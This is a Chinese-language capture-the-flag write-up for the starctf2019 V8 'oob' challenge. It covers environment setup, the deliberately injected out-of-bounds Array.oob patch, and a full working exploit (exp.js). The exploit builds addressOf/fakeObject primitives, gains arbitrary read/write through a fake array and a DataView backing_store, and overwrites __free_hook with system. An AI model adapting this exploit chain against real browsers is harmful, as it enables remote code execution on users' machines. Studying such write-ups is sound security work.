browser pwn 环境搭建

(1)

下载谷歌源码管理器:

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

加入环境变量:

echo 'export PATH=$PATH:"/home/osboxes/browser-pwn/depot_tools"' >> ~/.bashrc

(2)获取v8源码,这步因为墙的原因比较慢,可以在云主机拉取,再下回本地

mkdir v8
cd v8
fetch v8
# 如果中断了则 gclient sync同步

(3)切换到漏洞代码,并打上补丁:

cd v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../oob.diff

(4)编译,本题需要编译成release版本

tools/dev/gm.py x64.release # 编译 release 版本
tools/dev/gm.py x64.debug # 编译 debug 版本
tools/dev/gm.py x64.release.check # 测试

编辑out.gn/x64.release/args.gn,加入以下内容,以支持job等命令打印对象。

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

(5)调试

gdb 调试d8,使用job命令还需要下载gdb脚本,在gdb中source,或者加入.gdbinit中:https://github.com/GToad/GToad.github.io/releases/download/20190930/gdbinit_v8

gdb ./d8
set args --allow-natives-syntax ./exp.js
r

题目分析

引入的漏洞补丁:

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

根据args.length()参数个数len 来决定操作,当len > 2时,则返回undefined,当len为1,即没有参数时,返回数组的第length个元素,当传入1个参数,即len为2时,会将传入的参数赋值给数组的第length个元素。

漏洞利用

前言

(1)v8地址都是八字节对齐,所以最低的三位为空的,因此可以用最低位来表示数据,当表示为指针时会给地址加1。

(2)v8 的对象结构如下:

image-20200713162530651

Map表示object的类型,elements存放数字索引的属性,Property存放非数字索引的属性。

对于下面一个浮点数数组的内存结构如下:

var test_array = [1.1, 2.2, 3,3];
%DebugPrint(test_array);
%SystemBreak();

image-20200713163335731

%DebugPrint(test_array); 打印出来的是test_array数组 map的地址(即对象的地址),而不是elements。

内存模型如下:

image-20200713202308787

当数组存放的是对象时的内存模型为:

var obj = {"a": 1};
var obj_array = [obj];

image-20200713202143462

利用思路

通过patch 的off-by-one漏洞可以修改array对象的map,即对象的类型,构造出类型混淆漏洞。如:

var a = [1.1];
a.oob();  得到a[1]的值,越界读取map的值 
a.oob(0xdeadbeef); 越界写map的值,即a[1]=0xdeadbeef,将map的值改写成0xdeadbeef

(1)构造addressOf和fakeObject原语

  • addressOf 原语用于泄露任意传入的object对象地址。
  • fakeObject 原语将传入的地址解析成一个object指针返回。
var buf = new ArrayBuffer(16)
var float64 = new Float64Array(buf)
var bigUint64 = new BigUint64Array(buf)

function f2i(f) // 将浮点数转成整数
{
	float64[0] = f;
	return bigUint64[0];
}

function i2f(i) // 将整数转成浮点数
{
	bigUint64[0] = i;
	return float64[0];
}
//两个数组操作同一片内存,实现64位浮点数与64位整数之间的转换
function hex(i)
{
	return i.toString(16).padStart(16, "0");
}

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

function addressOf(obj) // obj -> float addr
{
	obj_array[0] = obj;
	obj_array.oob(float_array_map);// 将obj_array类型变成float型
	
	var object_addr = obj_array[0];// 这样就会将第一个对象地址当成浮点数输出
	obj_array.oob(obj_array_map); // 将obj_array类型复原
	return f2i(object_addr)-1n; // 得到的是指针,所以需要减1才是真实地址
}
//如果未将obj_array类型变成float型,直接输出,输出的是 0x7ff7ffffffffffff。
function fakeObject(addr) // float addr -> obj
{
	var obj_addr = i2f(addr + 1n); // +1变成指针
	float_array[0] = obj_addr;     // 将地址存入float_array[0],并修改float_array类型为obj array
	float_array.oob(obj_array_map);

	var fake_object = float_array[0];//这样就会将传入的地址当成是一个对象的地址
	float_array.oob(float_array_map); // 将数组类型还原
	return fake_object;
}

(2)将类型混淆漏洞转化成任意读写漏洞:

通过addressOf 泄漏fake_array 对象的地址,并且通过计算偏移,获取fake_array[0]的地址,之后fake_array[0]地址解析成object指针,这样fake_array[0]…[5]就会被认为是一个object对象。

通过改写fake_array[2]就可以操作伪造对象fake_object的elements内容,进行任意读写。

var fake_array = [
	float_array_map,
	i2f(0n),
	i2f(0x41414141n),
	i2f(0x1000000000n),
	1.1,
	2.2
];

%DebugPrint(fake_array); // fake array map address
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);


function read64(addr)
{
	fake_array[2] = i2f(addr + 0x1n - 0x10n);// 传入地址+1变成指针,因为elements属性前面还有map和length占0x10个字节,所以要先扣除
	var leak_info = f2i(fake_object[0]);
	//console.log("[*] leak addr: 0x" + hex(addr) + " data: 0x" + hex(leak_info));
	return leak_info;
}

function write64(addr, data)
{
	fake_array[2] = i2f(addr + 0x1n - 0x10n);
	fake_object[0] = i2f(data);
	//console.log("[*] write data to addr: 0x" + hex(addr) + " data: 0x" + hex(data));
}

示意图如下:

img

(3)劫持free_hook

已经可以任意读写了,首先需要泄露libc地址或者elf的基址。这里可以通过object->map->constructor->code 来泄漏 elf 的基址

var a = [1.1, 2.2];
%DebugPrint(a.constructor);
pwndbg> job 0x3edb76250ec1
0x3edb76250ec1: [Function] in OldSpace
 - map: 0x11bd152c2d49 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3edb76242109 <JSFunction (sfi = 0x2fb963f03b29)>
 - elements: 0x019604340c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: 0x3edb76251111 <JSArray[0]>
 - initial_map: 0x11bd152c2d99 <Map(PACKED_SMI_ELEMENTS)>
 - shared_info: 0x2fb963f06791 <SharedFunctionInfo Array>
 - name: 0x019604343599 <String[#5]: Array>
 - builtin: ArrayConstructor
 - formal_parameter_count: 65535
 - kind: NormalFunction
 - context: 0x3edb76241869 <NativeContext[246]>
 - code: 0x1dced6306981 <Code BUILTIN ArrayConstructor>
 - properties: 0x3edb76251029 <PropertyArray[6]> {
    #length: 0x2fb963f004b9 <AccessorInfo> (const accessor descriptor)
    #name: 0x2fb963f00449 <AccessorInfo> (const accessor descriptor)
    #prototype: 0x2fb963f00529 <AccessorInfo> (const accessor descriptor)
    0x019604344c79 <Symbol: (native_context_index_symbol)>: 11 (const data field 0) properties[0]
    0x019604344f41 <Symbol: Symbol.species>: 0x3edb76250fd9 <AccessorPair> (const accessor descriptor)
    #isArray: 0x3edb76251069 <JSFunction isArray (sfi = 0x2fb963f06829)> (const data field 1) properties[1]
    #from: 0x3edb762510a1 <JSFunction from (sfi = 0x2fb963f06879)> (const data field 2) properties[2]
    #of: 0x3edb762510d9 <JSFunction of (sfi = 0x2fb963f068b1)> (const data field 3) properties[3]
 }

 - feedback vector: not available
pwndbg> job 0x1dced6306981
0x1dced6306981: [Code]
 - map: 0x019604340a31 <Map>
kind = BUILTIN
name = ArrayConstructor
compiler = turbofan
address = 0x7ffe6e8de648

Trampoline (size = 13)
0x1dced63069c0     0  49ba80d735f18f550000 REX.W movq r10,0x558ff135d780  (ArrayConstructor)
0x1dced63069ca     a  41ffe2         jmp r10

Instructions (size = 28)
0x558ff135d780     0  493955d8       REX.W cmpq [r13-0x28] (root (undefined_value)),rdx
0x558ff135d784     4  7405           jz 0x558ff135d78b  (ArrayConstructor)
0x558ff135d786     6  488bca         REX.W movq rcx,rdx
0x558ff135d789     9  eb03           jmp 0x558ff135d78e  (ArrayConstructor)
0x558ff135d78b     b  488bcf         REX.W movq rcx,rdi
0x558ff135d78e     e  498b5dd8       REX.W movq rbx,[r13-0x28] (root (undefined_value))
0x558ff135d792    12  488bd1         REX.W movq rdx,rcx
0x558ff135d795    15  e926000000     jmp 0x558ff135d7c0  (ArrayConstructorImpl)
0x558ff135d79a    1a  90             nop
0x558ff135d79b    1b  90             nop


Safepoints (size = 8)

RelocInfo (size = 2)
0x1dced63069c2  off heap target

pwndbg> x/10gx 0x558ff135d780
0x558ff135d780 <Builtins_ArrayConstructor>:	0x8b480574d8553949	0x8b49cf8b4803ebca
0x558ff135d790 <Builtins_ArrayConstructor+16>:	0x0026e9d18b48d85d	0x0000000090900000
0x558ff135d7a0 <Builtins_ArrayConstructor+32>:	0xcccccccc00000003	0xcccccccccccccccc
0x558ff135d7b0 <Builtins_ArrayConstructor+48>:	0xcccccccccccccccc	0xcccccccccccccccc
0x558ff135d7c0 <Builtins_ArrayConstructorImpl>:	0x0ffa3b481f778b48	0x5d39490000013d85

object->map->constructor->code 中有一个Builtins_ArrayConstructor函数的地址,这是elf中一个函数,所以用IDA找到偏移:0xfc8780

image-20200713175249955

0x558ff135d780 减去该偏移就是elf加载的基地址,之后找到free函数got表地址,任意读获取free函数地址,然后利用readelf -s 获取free函数在libc.so中偏移,就可以得到libc的基址,进而获取__free_hook和system函数的地址。

var elf_base = leak_constructor_addr - 0xFC8780n;
console.log("[*] elf_base: 0x" + hex(elf_base));
var free_got_addr = elf_base + 0x12AA8B8n;
var free_addr = read64(free_got_addr);
var libc_base = free_addr - 0x9d850n;
console.log("[*] libc_base: 0x" + hex(libc_base));
var system_addr = libc_base + 0x55410n;
console.log("[*] system_addr: 0x" + hex(system_addr));
var free_hook_addr = libc_base + 0x1eeb28n;
console.log("[*] free_hook_addr: 0x" + hex(free_hook_addr));

最后将__free_hook地址上填充system地址,释放一个填充“/usr/bin/gnome-calculator”数组对象,就可以弹出计算器。而在实际过程中发现write64写入会报错,需要利用DataView对象封装另一个任意地址写。

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var backing_store_addr = addressOf(data_buf) + 0x20n;

function dataview_write64(addr, data)
{
	write64(backing_store_addr, addr);
	data_view.setFloat64(0, i2f(data), true);
}

gdb调试可看到:

pwndbg> job 0x1a568c810929  // data_view
0x1a568c810929: [JSDataView]
 - map: 0x04dd372c1719 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1dfa5aa4aff9 <Object map = 0x4dd372c1769>
 - elements: 0x29b23ce40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - buffer =0x1a568c8108e9 <ArrayBuffer map = 0x4dd372c21b9>
 - byte_offset: 0
 - byte_length: 8
 - properties: 0x29b23ce40c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
pwndbg> job 0x1a568c8108e9  // data_buf
0x1a568c8108e9: [JSArrayBuffer]
 - map: 0x04dd372c21b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1dfa5aa4e981 <Object map = 0x4dd372c2209>
 - elements: 0x29b23ce40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x5622bb25a520 // 存储数据的指针
 - byte_length: 8
 - detachable
 - properties: 0x29b23ce40c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

往 DataView 写数据时,存储数据的指针是保存在 ArrayBuffer 对象中的 backing_store 字段中,所以修改backing_store 指针为目标地址,就可以对目标地址的内容进行任意读写。

效果示意图

image-20200713180051879

exp.js

var buf = new ArrayBuffer(16)
var float64 = new Float64Array(buf)
var bigUint64 = new BigUint64Array(buf)

function f2i(f)
{
	float64[0] = f;
	return bigUint64[0];
}

function i2f(i)
{
	bigUint64[0] = i;
	return float64[0];
}

function hex(i)
{
	return i.toString(16).padStart(16, "0");
}

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

function addressOf(obj) // obj -> float addr
{
	obj_array[0] = obj;
	obj_array.oob(float_array_map);
	
	var object_addr = obj_array[0];
	obj_array.oob(obj_array_map);
	return f2i(object_addr)-1n;
}

function fakeObject(addr) // float addr -> obj
{
	var obj_addr = i2f(addr + 1n);
	float_array[0] = obj_addr; 
	float_array.oob(obj_array_map);

	var fake_object = float_array[0]; 
	float_array.oob(float_array_map);
	return fake_object;
}

var fake_array = [
	float_array_map,
	i2f(0n),
	i2f(0x41414141n),
	i2f(0x1000000000n),
	1.1,
	2.2
];

%DebugPrint(fake_array); // fake array map address
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);


function read64(addr)
{
	fake_array[2] = i2f(addr + 0x1n - 0x10n);
	var leak_info = f2i(fake_object[0]);
	//console.log("[*] leak addr: 0x" + hex(addr) + " data: 0x" + hex(leak_info));
	return leak_info;
}

function write64(addr, data)
{
	fake_array[2] = i2f(addr + 0x1n - 0x10n);
	fake_object[0] = i2f(data);
	//console.log("[*] write data to addr: 0x" + hex(addr) + " data: 0x" + hex(data));
}

var a = [1.1, 2.2];

var leak_code_addr = read64(addressOf(a.constructor) + 0x30n);
console.log("[*] leak code addr : 0x" + hex(leak_code_addr));
var leak_constructor_addr = read64(leak_code_addr + 0x41n);
console.log("[*] leak constructor addr : 0x" + hex(leak_constructor_addr));

var elf_base = leak_constructor_addr - 0xFC8780n;
console.log("[*] elf_base: 0x" + hex(elf_base));
var free_got_addr = elf_base + 0x12AA8B8n;
var free_addr = read64(free_got_addr);
var libc_base = free_addr - 0x9d850n;
console.log("[*] libc_base: 0x" + hex(libc_base));
var system_addr = libc_base + 0x55410n;
console.log("[*] system_addr: 0x" + hex(system_addr));
var free_hook_addr = libc_base + 0x1eeb28n;
console.log("[*] free_hook_addr: 0x" + hex(free_hook_addr));

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var backing_store_addr = addressOf(data_buf) + 0x20n;

function dataview_write64(addr, data)
{
	write64(backing_store_addr, addr);
	data_view.setFloat64(0, i2f(data), true);
}

function get_shell()
{
	let buffer = new ArrayBuffer(0x1000);
	let dataview = new DataView(buffer);
	dataview.setFloat64(0, i2f(0x6e69622f7273752fn), true); // /usr/bin/gnome-calculator
	dataview.setFloat64(8, i2f(0x632d656d6f6e672fn), true); //
	dataview.setFloat64(16, i2f(0x6f74616c75636c61n), true); // 
	dataview.setFloat64(24, i2f(0x72n), true);
	dataview_write64(free_hook_addr, system_addr);
}
get_shell();

参考链接

https://eternalsakura13.com/2018/06/26/v8_environment/

https://www.anquanke.com/post/id/207483

https://github.com/sixstars/starctf2019/tree/master/pwn-OOB

https://migraine-sudo.github.io/2020/02/15/v8/